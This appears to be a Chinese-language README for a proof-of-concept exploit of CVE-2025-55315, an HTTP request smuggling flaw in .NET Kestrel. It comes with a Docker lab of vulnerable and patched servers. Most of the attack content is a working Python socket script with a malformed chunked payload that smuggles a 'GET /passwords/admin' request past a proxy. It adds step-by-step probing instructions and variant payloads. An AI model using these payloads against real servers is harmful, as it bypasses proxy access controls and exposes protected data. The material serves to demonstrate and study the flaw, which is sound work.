CVE-2025-55315 的概念验证漏洞利用程序(.NET HTTP 请求走私)。展示了错误解析的分块编码如何让攻击者绕过易受攻击的 ASP.NET Core/Kestrel 服务器中的代理和负载均衡器进行请求走私。
🎥 点击上方徽章以查看完整的交互式 Prezi 演示
Dockerfile.vulnerable - 使用 .NET 10.0.100-rc.1(易受 CVE-2025-55315 影响)Dockerfile.patched - 使用 .NET 10.0.100(已修补版本)注意:该漏洞存在于 .NET 运行时的 HTTP 解析器 (Kestrel) 中,而非应用程序代码。两个版本使用相同的源代码,但 .NET 运行时版本不同。
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
参见 DOCKER.md 以获取详细的 Docker 使用说明。
Python 代理通过优先使用 Content-Length 而非 Transfer-Encoding 来演示 CVE-2025-55315,从而启用 HTTP 请求走私:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
该负载将第二个请求 /passwords/admin 走私通过代理的安全检查,利用了代理和后端服务器解析请求时的差异。
以下是代理和后端服务器对同一负载的不同解析方式:
关键差异:
详细说明:
2;\n 作为有效的分块大小声明(2 字节)→ 将 xx 读取为 2 字节的分块主体 → 移至下一个分块(39)\n 作为行结束符 → 分块头部延伸至 2;\nxx\r\n → 将 39 读取为分块主体的一部分 → 0\r\n 终止分块GET /passwords/admin 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。被走私的 GET /passwords/admin 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。
在利用之前,您需要确定不同组件优先使用哪个 HTTP 头部(Content-Length 或 Transfer-Encoding)。以下是分步指南:
发送一个同时包含 Content-Length 和 Transfer-Encoding: chunked 头部的请求,以查看每个组件尊重哪一个:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
分析:
Content-LengthTransfer-Encoding测试架构中的所有组件以发现差异:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
一旦识别出:
Content-Length(仅读取 N 字节)Transfer-Encoding(读取分块主体)您可以走私一个代理从未看到但后端会处理的第二个请求。
运行完整的漏洞利用负载(参见上方“漏洞利用演示”部分)并确认:
socket:用于精确 HTTP 格式的低级控制--data-binary 的 curl:快速命令行测试漏洞利用可以通过多种方式构造。尝试不同的方法:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n 作为有效行结束符 → 将 2;\n 视为分块大小 → 读取 2 字节(xx)\n → 分块头部延伸至 2;\nxx\r\n → 39 成为分块主体 → 0\r\n 结束分块通过修改 PythonProxy/proxy_server.py 尝试不同的不同步场景:
\n 与 \r\n)尝试实验:
|
代理解析方式(接受 |
后端解析方式(拒绝 |
| 组件 | 分块大小 2;\n | 读取字节数 | 发生情况 |
|---|
| 代理 | ✅ 有效分块大小 | 2 字节 (xx) | 将 2;\n 视为完整的分块头部,读取 2 字节,继续下一个分块 |
| 后端 | ❌ 无效的行结束符 | 仍读取为 2 字节分块 | 分块头部直到 xx\r\n 才结束,因此 39 成为分块主体,0 结束分块 |